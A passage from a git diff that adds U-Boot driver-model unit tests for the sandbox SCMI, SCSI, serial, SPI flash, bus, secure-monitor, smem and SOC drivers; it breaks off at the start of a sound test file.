+ ut_assertok(uclass_get_device_by_name(UCLASS_SCMI_AGENT, "scmi",
+ &agent_dev));
+ ut_assertnonnull(agent_dev);
+
+ /*
+ * Estimate the number of provided protocols.
+ * This estimation is correct as far as a corresponding
+ * protocol support is added to sandbox fake serer.
+ */
+ if (CONFIG_IS_ENABLED(POWER_DOMAIN))
+ num_proto++;
+ if (CONFIG_IS_ENABLED(CLK_SCMI))
+ num_proto++;
+ if (CONFIG_IS_ENABLED(RESET_SCMI))
+ num_proto++;
+ if (CONFIG_IS_ENABLED(DM_REGULATOR_SCMI))
+ num_proto++;
+
+ /* scmi info */
+ ut_assertok(run_command("scmi info", 0));
+
+ ut_assert_nextline("SCMI device: scmi");
+ snprintf(cmd_out, 30, " protocol version: 0x%x",
+ SCMI_BASE_PROTOCOL_VERSION);
+ ut_assert_nextline(cmd_out);
+ ut_assert_nextline(" # of agents: 2");
+ ut_assert_nextline(" 0: platform");
+ ut_assert_nextline(" > 1: OSPM");
+ snprintf(cmd_out, 30, " # of protocols: %d", num_proto);
+ ut_assert_nextline(cmd_out);
+ if (CONFIG_IS_ENABLED(SCMI_POWER_DOMAIN))
+ ut_assert_nextline(" Power domain management");
+ if (CONFIG_IS_ENABLED(CLK_SCMI))
+ ut_assert_nextline(" Clock management");
+ if (CONFIG_IS_ENABLED(RESET_SCMI))
+ ut_assert_nextline(" Reset domain management");
+ if (CONFIG_IS_ENABLED(DM_REGULATOR_SCMI))
+ ut_assert_nextline(" Voltage domain management");
+ ut_assert_nextline(" vendor: U-Boot");
+ ut_assert_nextline(" sub vendor: Sandbox");
+ ut_assert_nextline(" impl version: 0x1");
+
+ ut_assert_console_end();
+
+ /* scmi perm_dev */
+ ut_assertok(run_command("scmi perm_dev 1 0 1", 0));
+ ut_assert_console_end();
+
+ ut_assert(run_command("scmi perm_dev 1 0 0", 0));
+ ut_assert_nextline("Denying access to device:0 failed (-13)");
+ ut_assert_console_end();
+
+ /* scmi perm_proto */
+ ut_assertok(run_command("scmi perm_proto 1 0 14 1", 0));
+ ut_assert_console_end();
+
+ ut_assert(run_command("scmi perm_proto 1 0 14 0", 0));
+ ut_assert_nextline("Denying access to protocol:0x14 on device:0 failed (-13)");
+ ut_assert_console_end();
+
+ /* scmi reset */
+ ut_assert(run_command("scmi reset 1 1", 0));
+ ut_assert_nextline("Reset failed (-13)");
+ ut_assert_console_end();
+
+ return 0;
+}
+
+DM_TEST(dm_test_scmi_cmd, UT_TESTF_SCAN_FDT);
+
+static int dm_test_scmi_power_domains(struct unit_test_state *uts)
+{
+ struct sandbox_scmi_agent *agent;
+ struct sandbox_scmi_devices *scmi_devices;
+ struct udevice *agent_dev, *pwd, *dev;
+ u32 version, count, attributes, pstate;
+ u64 stats_addr;
+ size_t stats_len;
+ u8 *name;
+ int ret;
+
+ if (!CONFIG_IS_ENABLED(SCMI_POWER_DOMAIN))
+ return -EAGAIN;
+
+ /* preparation */
+ ut_assertok(load_sandbox_scmi_test_devices(uts, &agent, &dev));
+ ut_assertnonnull(agent);
+ scmi_devices = sandbox_scmi_devices_ctx(dev);
+ ut_assertnonnull(scmi_devices);
+ ut_asserteq(2, scmi_devices->pwdom->id); /* in test.dts */
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_SCMI_AGENT, "scmi",
+ &agent_dev));
+ ut_assertnonnull(agent_dev);
+ pwd = scmi_get_protocol(agent_dev, SCMI_PROTOCOL_ID_POWER_DOMAIN);
+ ut_assertnonnull(pwd);
+
+ /*
+ * SCMI Power domain management protocol interfaces
+ */
+ /* version */
+ ret = scmi_generic_protocol_version(pwd, SCMI_PROTOCOL_ID_POWER_DOMAIN,
+ &version);
+ ut_assertok(ret);
+ ut_asserteq(agent->pwdom_version, version);
+
+ /* protocol attributes */
+ ret = scmi_pwd_protocol_attrs(pwd, &count, &stats_addr, &stats_len);
+ ut_assertok(ret);
+ ut_asserteq(agent->pwdom_count, count);
+ ut_asserteq(0, stats_len);
+
+ /* protocol message attributes */
+ ret = scmi_pwd_protocol_message_attrs(pwd, SCMI_PWD_STATE_SET,
+ &attributes);
+ ut_assertok(ret);
+ ret = scmi_pwd_protocol_message_attrs(pwd, SCMI_PWD_STATE_NOTIFY,
+ &attributes);
+ ut_asserteq(-ENOENT, ret); /* the protocol not supported */
+
+ /* power domain attributes */
+ ret = scmi_pwd_attrs(pwd, 0, &attributes, &name);
+ ut_assertok(ret);
+ ut_asserteq_str("power-domain--0", name);
+ free(name);
+
+ ret = scmi_pwd_attrs(pwd, 10, &attributes, &name);
+ ut_asserteq(-ENOENT, ret); /* domain-10 doesn't exist */
+
+ /* power domain state set/get */
+ ret = scmi_pwd_state_set(pwd, 0, 0, 0);
+ ut_assertok(ret);
+ ret = scmi_pwd_state_get(pwd, 0, &pstate);
+ ut_assertok(ret);
+ ut_asserteq(0, pstate); /* ON */
+
+ ret = scmi_pwd_state_set(pwd, 0, 0, SCMI_PWD_PSTATE_TYPE_LOST);
+ ut_assertok(ret);
+ ret = scmi_pwd_state_get(pwd, 0, &pstate);
+ ut_assertok(ret);
+ ut_asserteq(SCMI_PWD_PSTATE_TYPE_LOST, pstate); /* OFF */
+
+ ret = scmi_pwd_state_set(pwd, 0, 10, 0);
+ ut_asserteq(-ENOENT, ret);
+
+ /* power domain name get */
+ ret = scmi_pwd_name_get(pwd, 0, &name);
+ ut_assertok(ret);
+ ut_asserteq_str("power-domain--0-extended", name);
+ free(name);
+
+ ret = scmi_pwd_name_get(pwd, 10, &name);
+ ut_asserteq(-ENOENT, ret); /* domain-10 doesn't exist */
+
+ /*
+ * U-Boot driver model interfaces
+ */
+ /* power_domain_on */
+ ret = power_domain_on(scmi_devices->pwdom);
+ ut_assertok(ret);
+ ret = scmi_pwd_state_get(pwd, scmi_devices->pwdom->id, &pstate);
+ ut_assertok(ret);
+ ut_asserteq(0, pstate); /* ON */
+
+ /* power_domain_off */
+ ret = power_domain_off(scmi_devices->pwdom);
+ ut_assertok(ret);
+ ret = scmi_pwd_state_get(pwd, scmi_devices->pwdom->id, &pstate);
+ ut_assertok(ret);
+ ut_asserteq(SCMI_PWD_PSTATE_TYPE_LOST, pstate); /* OFF */
+
+ return release_sandbox_scmi_test_devices(uts, dev);
+}
+
+DM_TEST(dm_test_scmi_power_domains, UT_TESTF_SCAN_FDT);
+
+static int dm_test_scmi_clocks(struct unit_test_state *uts)
+{
+ struct sandbox_scmi_agent *agent;
+ struct sandbox_scmi_devices *scmi_devices;
+ struct udevice *agent_dev, *clock_dev, *dev;
+ int ret_dev;
+ int ret;
+
+ if (!CONFIG_IS_ENABLED(CLK_SCMI))
+ return -EAGAIN;
+
+ ret = load_sandbox_scmi_test_devices(uts, &agent, &dev);
+ if (ret)
+ return ret;
+
+ scmi_devices = sandbox_scmi_devices_ctx(dev);
+ ut_assertnonnull(scmi_devices);
+
+ /* Sandbox SCMI clock protocol has its own channel */
+ ut_assertok(uclass_get_device_by_name(UCLASS_SCMI_AGENT, "scmi",
+ &agent_dev));
+ ut_assertnonnull(agent_dev);
+ clock_dev = scmi_get_protocol(agent_dev, SCMI_PROTOCOL_ID_CLOCK);
+ ut_assertnonnull(clock_dev);
+ ut_asserteq(0x14, sandbox_scmi_channel_id(clock_dev));
+
+ /* Test SCMI clocks rate manipulation */
+ ut_asserteq(333, agent->clk[0].rate);
+ ut_asserteq(200, agent->clk[1].rate);
+ ut_asserteq(1000, agent->clk[2].rate);
+
+ ut_asserteq(1000, clk_get_rate(&scmi_devices->clk[0]));
+ ut_asserteq(333, clk_get_rate(&scmi_devices->clk[1]));
+
+ ret_dev = clk_set_rate(&scmi_devices->clk[1], 1088);
+ ut_assert(!ret_dev || ret_dev == 1088);
+
+ ut_asserteq(1088, agent->clk[0].rate);
+ ut_asserteq(200, agent->clk[1].rate);
+ ut_asserteq(1000, agent->clk[2].rate);
+
+ ut_asserteq(1000, clk_get_rate(&scmi_devices->clk[0]));
+ ut_asserteq(1088, clk_get_rate(&scmi_devices->clk[1]));
+
+ /* restore original rate for further tests */
+ ret_dev = clk_set_rate(&scmi_devices->clk[1], 333);
+ ut_assert(!ret_dev || ret_dev == 333);
+
+ /* Test SCMI clocks gating manipulation */
+ ut_assert(!agent->clk[0].enabled);
+ ut_assert(!agent->clk[1].enabled);
+ ut_assert(!agent->clk[2].enabled);
+
+ ut_asserteq(0, clk_enable(&scmi_devices->clk[1]));
+
+ ut_assert(agent->clk[0].enabled);
+ ut_assert(!agent->clk[1].enabled);
+ ut_assert(!agent->clk[2].enabled);
+
+ ut_assertok(clk_disable(&scmi_devices->clk[1]));
+
+ ut_assert(!agent->clk[0].enabled);
+ ut_assert(!agent->clk[1].enabled);
+ ut_assert(!agent->clk[2].enabled);
+
+ return release_sandbox_scmi_test_devices(uts, dev);
+}
+DM_TEST(dm_test_scmi_clocks, UT_TESTF_SCAN_FDT);
+
+static int dm_test_scmi_resets(struct unit_test_state *uts)
+{
+ struct sandbox_scmi_agent *agent;
+ struct sandbox_scmi_devices *scmi_devices;
+ struct udevice *agent_dev, *reset_dev, *dev = NULL;
+ int ret;
+
+ if (!CONFIG_IS_ENABLED(RESET_SCMI))
+ return -EAGAIN;
+
+ ret = load_sandbox_scmi_test_devices(uts, &agent, &dev);
+ if (ret)
+ return ret;
+
+ scmi_devices = sandbox_scmi_devices_ctx(dev);
+ ut_assertnonnull(scmi_devices);
+
+ /* Sandbox SCMI reset protocol doesn't have its own channel */
+ ut_assertok(uclass_get_device_by_name(UCLASS_SCMI_AGENT, "scmi",
+ &agent_dev));
+ ut_assertnonnull(agent_dev);
+ reset_dev = scmi_get_protocol(agent_dev, SCMI_PROTOCOL_ID_RESET_DOMAIN);
+ ut_assertnonnull(reset_dev);
+ ut_asserteq(0x0, sandbox_scmi_channel_id(reset_dev));
+
+ /* Test SCMI resect controller manipulation */
+ ut_assert(!agent->reset[0].asserted);
+
+ ut_assertok(reset_assert(&scmi_devices->reset[0]));
+ ut_assert(agent->reset[0].asserted);
+
+ ut_assertok(reset_deassert(&scmi_devices->reset[0]));
+ ut_assert(!agent->reset[0].asserted);
+
+ return release_sandbox_scmi_test_devices(uts, dev);
+}
+DM_TEST(dm_test_scmi_resets, UT_TESTF_SCAN_FDT);
+
+static int dm_test_scmi_voltage_domains(struct unit_test_state *uts)
+{
+ struct sandbox_scmi_agent *agent;
+ struct sandbox_scmi_devices *scmi_devices;
+ struct dm_regulator_uclass_plat *uc_pdata;
+ struct udevice *dev;
+ struct udevice *regul0_dev;
+
+ if (!CONFIG_IS_ENABLED(DM_REGULATOR_SCMI))
+ return -EAGAIN;
+
+ ut_assertok(load_sandbox_scmi_test_devices(uts, &agent, &dev));
+
+ scmi_devices = sandbox_scmi_devices_ctx(dev);
+ ut_assertnonnull(scmi_devices);
+
+ /* Set/Get an SCMI voltage domain level */
+ regul0_dev = scmi_devices->regul[0];
+ ut_assert(regul0_dev);
+
+ uc_pdata = dev_get_uclass_plat(regul0_dev);
+ ut_assert(uc_pdata);
+
+ ut_assertok(regulator_set_value(regul0_dev, uc_pdata->min_uV));
+ ut_asserteq(agent->voltd[0].voltage_uv, uc_pdata->min_uV);
+
+ ut_assert(regulator_get_value(regul0_dev) == uc_pdata->min_uV);
+
+ ut_assertok(regulator_set_value(regul0_dev, uc_pdata->max_uV));
+ ut_asserteq(agent->voltd[0].voltage_uv, uc_pdata->max_uV);
+
+ ut_assert(regulator_get_value(regul0_dev) == uc_pdata->max_uV);
+
+ /* Enable/disable SCMI voltage domains */
+ ut_assertok(regulator_set_enable(scmi_devices->regul[0], false));
+ ut_assertok(regulator_set_enable(scmi_devices->regul[1], false));
+ ut_assert(!agent->voltd[0].enabled);
+ ut_assert(!agent->voltd[1].enabled);
+
+ ut_assertok(regulator_set_enable(scmi_devices->regul[0], true));
+ ut_assert(agent->voltd[0].enabled);
+ ut_assert(!agent->voltd[1].enabled);
+
+ ut_assertok(regulator_set_enable(scmi_devices->regul[1], true));
+ ut_assert(agent->voltd[0].enabled);
+ ut_assert(agent->voltd[1].enabled);
+
+ ut_assertok(regulator_set_enable(scmi_devices->regul[0], false));
+ ut_assert(!agent->voltd[0].enabled);
+ ut_assert(agent->voltd[1].enabled);
+
+ return release_sandbox_scmi_test_devices(uts, dev);
+}
+DM_TEST(dm_test_scmi_voltage_domains, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/scsi.c b/test/dm/scsi.c
new file mode 100644
index 00000000000..5180159fb27
--- /dev/null
+++ b/test/dm/scsi.c
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <dm.h>
+#include <part.h>
+#include <scsi.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that sandbox SCSI works correctly */
+static int dm_test_scsi_base(struct unit_test_state *uts)
+{
+ const struct disk_partition *info;
+ const struct disk_part *part;
+ struct udevice *dev;
+
+ ut_assertok(scsi_scan(false));
+
+ /*
+ * We expect some sort of partition on the disk image, created by
+ * test_ut_dm_init()
+ */
+ ut_assertok(uclass_first_device_err(UCLASS_PARTITION, &dev));
+
+ part = dev_get_uclass_plat(dev);
+ ut_asserteq(1, part->partnum);
+
+ info = &part->gpt_part_info;
+ ut_asserteq_str("sda1", info->name);
+ ut_asserteq_str("U-Boot", info->type);
+ ut_asserteq(0x83 /* linux */, info->sys_ind);
+
+ return 0;
+}
+DM_TEST(dm_test_scsi_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/serial.c b/test/dm/serial.c
new file mode 100644
index 00000000000..34c0d4db879
--- /dev/null
+++ b/test/dm/serial.c
@@ -0,0 +1,91 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2018, STMicroelectronics
+ */
+
+#include <log.h>
+#include <serial.h>
+#include <dm.h>
+#include <asm/serial.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static const char test_message[] =
+ "This is a test message\n"
+ "consisting of multiple lines\n";
+
+static int dm_test_serial(struct unit_test_state *uts)
+{
+ int i;
+ struct serial_device_info info_serial = {0};
+ struct udevice *dev_serial;
+ size_t start, putc_written;
+
+ uint value_serial;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_SERIAL, "serial",
+ &dev_serial));
+
+ ut_assertok(serial_tstc());
+ ut_asserteq(115200, fetch_baud_from_dtb());
+ /*
+ * test with default config which is the only one supported by
+ * sandbox_serial driver
+ */
+ ut_assertok(serial_setconfig(dev_serial, SERIAL_DEFAULT_CONFIG));
+ ut_assertok(serial_getconfig(dev_serial, &value_serial));
+ ut_assert(value_serial == SERIAL_DEFAULT_CONFIG);
+ ut_assertok(serial_getinfo(dev_serial, &info_serial));
+ ut_assert(info_serial.type == SERIAL_CHIP_UNKNOWN);
+ ut_assert(info_serial.addr == SERIAL_DEFAULT_ADDRESS);
+ ut_assert(info_serial.clock == SERIAL_DEFAULT_CLOCK);
+ /*
+ * test with a parameter which is NULL pointer
+ */
+ ut_asserteq(-EINVAL, serial_getconfig(dev_serial, NULL));
+ ut_asserteq(-EINVAL, serial_getinfo(dev_serial, NULL));
+ /*
+ * test with a serial config which is not supported by
+ * sandbox_serial driver: test with wrong parity
+ */
+ ut_asserteq(-ENOTSUPP,
+ serial_setconfig(dev_serial,
+ SERIAL_CONFIG(SERIAL_PAR_ODD,
+ SERIAL_8_BITS,
+ SERIAL_ONE_STOP)));
+ /*
+ * test with a serial config which is not supported by
+ * sandbox_serial driver: test with wrong bits number
+ */
+ ut_asserteq(-ENOTSUPP,
+ serial_setconfig(dev_serial,
+ SERIAL_CONFIG(SERIAL_PAR_NONE,
+ SERIAL_6_BITS,
+ SERIAL_ONE_STOP)));
+
+ /*
+ * test with a serial config which is not supported by
+ * sandbox_serial driver: test with wrong stop bits number
+ */
+ ut_asserteq(-ENOTSUPP,
+ serial_setconfig(dev_serial,
+ SERIAL_CONFIG(SERIAL_PAR_NONE,
+ SERIAL_8_BITS,
+ SERIAL_TWO_STOP)));
+
+ /* Verify that putc and puts print the same number of characters */
+ sandbox_serial_endisable(false);
+ start = sandbox_serial_written();
+ for (i = 0; i < sizeof(test_message) - 1; i++)
+ serial_putc(test_message[i]);
+ putc_written = sandbox_serial_written();
+ serial_puts(test_message);
+ sandbox_serial_endisable(true);
+ ut_asserteq(putc_written - start,
+ sandbox_serial_written() - putc_written);
+
+ return 0;
+}
+
+DM_TEST(dm_test_serial, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/sf.c b/test/dm/sf.c
new file mode 100644
index 00000000000..0e3a0f13f9e
--- /dev/null
+++ b/test/dm/sf.c
@@ -0,0 +1,103 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2013 Google, Inc
+ */
+
+#include <command.h>
+#include <dm.h>
+#include <fdtdec.h>
+#include <mapmem.h>
+#include <os.h>
+#include <spi.h>
+#include <spi_flash.h>
+#include <asm/state.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <dm/util.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Simple test of sandbox SPI flash */
+static int dm_test_spi_flash(struct unit_test_state *uts)
+{
+ struct udevice *dev, *emul;
+ int full_size = 0x200000;
+ int size = 0x10000;
+ u8 *src, *dst;
+ uint map_size;
+ ulong map_base;
+ uint offset;
+ int i;
+
+ src = map_sysmem(0x20000, full_size);
+ ut_assertok(os_write_file("spi.bin", src, full_size));
+ ut_assertok(uclass_first_device_err(UCLASS_SPI_FLASH, &dev));
+
+ dst = map_sysmem(0x20000 + full_size, full_size);
+ ut_assertok(spi_flash_read_dm(dev, 0, size, dst));
+ ut_asserteq_mem(src, dst, size);
+
+ /* Erase */
+ ut_assertok(spi_flash_erase_dm(dev, 0, size));
+ ut_assertok(spi_flash_read_dm(dev, 0, size, dst));
+ for (i = 0; i < size; i++)
+ ut_asserteq(dst[i], 0xff);
+
+ /* Write some new data */
+ for (i = 0; i < size; i++)
+ src[i] = i;
+ ut_assertok(spi_flash_write_dm(dev, 0, size, src));
+ ut_assertok(spi_flash_read_dm(dev, 0, size, dst));
+ ut_asserteq_mem(src, dst, size);
+
+ /* Try the write-protect stuff */
+ ut_assertok(uclass_first_device_err(UCLASS_SPI_EMUL, &emul));
+ ut_asserteq(0, spl_flash_get_sw_write_prot(dev));
+ sandbox_sf_set_block_protect(emul, 1);
+ ut_asserteq(1, spl_flash_get_sw_write_prot(dev));
+ sandbox_sf_set_block_protect(emul, 0);
+ ut_asserteq(0, spl_flash_get_sw_write_prot(dev));
+
+ /* Check mapping */
+ ut_assertok(dm_spi_get_mmap(dev, &map_base, &map_size, &offset));
+ ut_asserteq(0x1000, map_base);
+ ut_asserteq(0x2000, map_size);
+ ut_asserteq(0x100, offset);
+
+ /*
+ * Since we are about to destroy all devices, we must tell sandbox
+ * to forget the emulation device
+ */
+ sandbox_sf_unbind_emul(state_get_current(), 0, 0);
+
+ return 0;
+}
+DM_TEST(dm_test_spi_flash, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Functional test that sandbox SPI flash works correctly */
+static int dm_test_spi_flash_func(struct unit_test_state *uts)
+{
+ /*
+ * Create an empty test file and run the SPI flash tests. This is a
+ * long way from being a unit test, but it does test SPI device and
+ * emulator binding, probing, the SPI flash emulator including
+ * device tree decoding, plus the file-based backing store of SPI.
+ *
+ * More targeted tests could be created to perform the above steps
+ * one at a time. This might not increase test coverage much, but
+ * it would make bugs easier to find. It's not clear whether the
+ * benefit is worth the extra complexity.
+ */
+ ut_asserteq(0, run_command_list(
+ "host save hostfs - 0 spi.bin 200000;"
+ "sf probe;"
+ "sf test 0 10000", -1, 0));
+ /*
+ * Since we are about to destroy all devices, we must tell sandbox
+ * to forget the emulation device
+ */
+ sandbox_sf_unbind_emul(state_get_current(), 0, 0);
+
+ return 0;
+}
+DM_TEST(dm_test_spi_flash_func, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/simple-bus.c b/test/dm/simple-bus.c
new file mode 100644
index 00000000000..8a730ba2fce
--- /dev/null
+++ b/test/dm/simple-bus.c
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2021, Bin Meng <bmeng.cn@gmail.com>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <dm/simple_bus.h>
+#include <dm/uclass-internal.h>
+#include <test/ut.h>
+
+static int dm_test_simple_bus(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct simple_bus_plat *plat;
+
+ /* locate the dummy device @ translation-test node */
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_DUMMY, 0, &dev));
+ ut_asserteq_str("dev@0,0", dev->name);
+
+ /* locate the parent node which is a simple-bus */
+ ut_assertnonnull(dev = dev_get_parent(dev));
+ ut_asserteq_str("translation-test@8000", dev->name);
+
+ ut_assertnonnull(plat = dev_get_uclass_plat(dev));
+ ut_asserteq(0, plat->base);
+ ut_asserteq(0x8000, plat->target);
+ ut_asserteq(0x1000, plat->size);
+
+ return 0;
+}
+DM_TEST(dm_test_simple_bus, UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
diff --git a/test/dm/simple-pm-bus.c b/test/dm/simple-pm-bus.c
new file mode 100644
index 00000000000..9949cb34d59
--- /dev/null
+++ b/test/dm/simple-pm-bus.c
@@ -0,0 +1,44 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (C) 2020 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <dm/device-internal.h>
+#include <test/ut.h>
+#include <asm/clk.h>
+#include <asm/power-domain.h>
+
+/* These must match the ids in the device tree */
+#define TEST_CLOCK_ID 4
+#define TEST_POWER_ID 1
+
+static int dm_test_simple_pm_bus(struct unit_test_state *uts)
+{
+ struct udevice *power;
+ struct udevice *clock;
+ struct udevice *bus;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_POWER_DOMAIN,
+ "power-domain", &power));
+ ut_assertok(uclass_get_device_by_name(UCLASS_CLK, "clk-sbox",
+ &clock));
+ ut_asserteq(0, sandbox_power_domain_query(power, TEST_POWER_ID));
+ ut_asserteq(0, sandbox_clk_query_enable(clock, TEST_CLOCK_ID));
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_SIMPLE_BUS, "pm-bus-test",
+ &bus));
+ ut_asserteq(1, sandbox_power_domain_query(power, TEST_POWER_ID));
+ ut_asserteq(1, sandbox_clk_query_enable(clock, TEST_CLOCK_ID));
+
+ ut_assertok(device_remove(bus, DM_REMOVE_NORMAL));
+ /* must re-probe since device_remove also removes the power domain */
+ ut_assertok(uclass_get_device_by_name(UCLASS_POWER_DOMAIN,
+ "power-domain", &power));
+ ut_asserteq(0, sandbox_power_domain_query(power, TEST_POWER_ID));
+ ut_asserteq(0, sandbox_clk_query_enable(clock, TEST_CLOCK_ID));
+
+ return 0;
+}
+DM_TEST(dm_test_simple_pm_bus, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/sm.c b/test/dm/sm.c
new file mode 100644
index 00000000000..4d95c2ad75b
--- /dev/null
+++ b/test/dm/sm.c
@@ -0,0 +1,64 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2023 SberDevices, Inc.
+ *
+ * Author: Alexey Romanov <avromanov@salutedevices.com>
+ */
+
+#include <dm.h>
+#include <sm.h>
+#include <sandbox-sm.h>
+#include <asm/ptrace.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include <linux/sizes.h>
+
+static int dm_test_sm(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct pt_regs regs;
+ char buffer[128] = { 0 };
+ char test_string[] = "secure-monitor";
+ int ret, val;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_SM,
+ "secure-monitor", &dev));
+
+ ret = sm_call(dev, SANDBOX_SMC_CMD_COUNT, NULL, &regs);
+ ut_asserteq(ret, -EINVAL);
+
+ ret = sm_call(dev, SANDBOX_SMC_CMD_COMMON, &val, &regs);
+ ut_asserteq(ret, 0);
+ ut_asserteq(val, 0);
+
+ ret = sm_call_write(dev, buffer, sizeof(buffer),
+ SANDBOX_SMC_CMD_COUNT, &regs);
+ ut_asserteq(ret, -EINVAL);
+
+ ret = sm_call_write(dev, buffer, SZ_4K + 1,
+ SANDBOX_SMC_CMD_WRITE_MEM, &regs);
+ ut_asserteq(ret, -EINVAL);
+
+ ret = sm_call_write(dev, buffer, sizeof(buffer),
+ SANDBOX_SMC_CMD_COUNT, &regs);
+ ut_asserteq(ret, -EINVAL);
+
+ ret = sm_call_write(dev, buffer, SZ_4K + 1,
+ SANDBOX_SMC_CMD_READ_MEM, &regs);
+ ut_asserteq(ret, -EINVAL);
+
+ ret = sm_call_write(dev, test_string, sizeof(test_string),
+ SANDBOX_SMC_CMD_WRITE_MEM, &regs);
+ ut_asserteq(ret, sizeof(test_string));
+
+ ret = sm_call_read(dev, buffer, sizeof(buffer),
+ SANDBOX_SMC_CMD_READ_MEM, &regs);
+ ut_asserteq(ret, sizeof(buffer));
+
+ ut_asserteq_str(buffer, test_string);
+
+ return 0;
+}
+
+DM_TEST(dm_test_sm, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/smem.c b/test/dm/smem.c
new file mode 100644
index 00000000000..adcbfe574ab
--- /dev/null
+++ b/test/dm/smem.c
@@ -0,0 +1,26 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2018 Ramon Fried <ramon.fried@gmail.com>
+ */
+
+#include <dm.h>
+#include <smem.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Basic test of the smem uclass */
+static int dm_test_smem_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ size_t size;
+
+ ut_assertok(uclass_get_device(UCLASS_SMEM, 0, &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(smem_alloc(dev, -1, 0, 16));
+ ut_asserteq(0, smem_get_free_space(dev, -1));
+ ut_assertnull(smem_get(dev, -1, 0, &size));
+
+ return 0;
+}
+DM_TEST(dm_test_smem_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/soc.c b/test/dm/soc.c
new file mode 100644
index 00000000000..cb0ac1545f7
--- /dev/null
+++ b/test/dm/soc.c
@@ -0,0 +1,119 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for the SOC uclass
+ *
+ * (C) Copyright 2020 - Texas Instruments Incorporated - https://www.ti.com/
+ * Dave Gerlach <d-gerlach@ti.com>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <soc.h>
+#include <test/ut.h>
+
+struct sb_soc_data {
+ unsigned long param;
+};
+
+static int dm_test_soc(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ char text[128];
+ const struct soc_attr *soc_data;
+ const struct sb_soc_data *match_data;
+
+ static const struct sb_soc_data soc_sandbox1_sr10_data = { 0x91919191 };
+ static const struct sb_soc_data soc_sandbox123_data = { 0x84848484 };
+
+ static const struct soc_attr sb_soc_devices_full[] = {
+ {
+ .family = "SANDBOX0xx",
+ .machine = "SANDBOX012",
+ .revision = "1.0",
+ .data = NULL,
+ },
+ {
+ .family = "SANDBOX1xx",
+ .machine = "SANDBOX107",
+ .revision = "1.0",
+ .data = NULL,
+ },
+ {
+ .family = "SANDBOX1xx",
+ .machine = "SANDBOX123",
+ .revision = "1.0",
+ .data = &soc_sandbox123_data,
+ },
+ {
+ .family = "SANDBOX1xx",
+ .machine = "SANDBOX131",
+ .revision = "2.0",
+ .data = NULL,
+ },
+ { /* sentinel */ }
+ };
+
+ static const struct soc_attr sb_soc_devices_partial[] = {
+ {
+ .family = "SANDBOX0xx",
+ .revision = "1.0",
+ .data = NULL,
+ },
+ {
+ .family = "SANDBOX1xx",
+ .revision = "1.0",
+ .data = &soc_sandbox1_sr10_data,
+ },
+ {
+ .family = "SANDBOX1xx",
+ .revision = "2.0",
+ .data = NULL,
+ },
+ { /* sentinel */ }
+ };
+
+ static const struct soc_attr sb_soc_devices_nomatch[] = {
+ {
+ .family = "SANDBOX0xx",
+ .revision = "1.0",
+ .data = NULL,
+ },
+ {
+ .family = "SANDBOX1xx",
+ .revision = "2.0",
+ .data = NULL,
+ },
+ { /* sentinel */ }
+ };
+
+ ut_assertok(soc_get(&dev));
+
+ ut_assertok(soc_get_machine(dev, text, sizeof(text)));
+ ut_assertok(strcmp(text, "SANDBOX123"));
+
+ ut_assertok(soc_get_family(dev, text, sizeof(text)));
+ ut_assertok(strcmp(text, "SANDBOX1xx"));
+
+ ut_assertok(soc_get_revision(dev, text, sizeof(text)));
+ ut_asserteq_str(text, "1.0");
+
+ soc_data = soc_device_match(sb_soc_devices_full);
+ ut_assert(soc_data);
+
+ match_data = soc_data->data;
+ ut_asserteq(match_data->param, 0x84848484);
+
+ soc_data = soc_device_match(sb_soc_devices_partial);
+ ut_assert(soc_data);
+
+ match_data = soc_data->data;
+ ut_asserteq(match_data->param, 0x91919191);
+
+ soc_data = soc_device_match(sb_soc_devices_nomatch);
+ ut_asserteq_ptr(soc_data, NULL);
+
+ return 0;
+}
+
+DM_TEST(dm_test_soc, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/sound.c b/test/dm/sound.c
new file mode 100644
index 00000000000..f4e6215e683
--- /dev/null
+++ b/test/dm/sound.c
@@ -0,0 +1,67 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2018 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
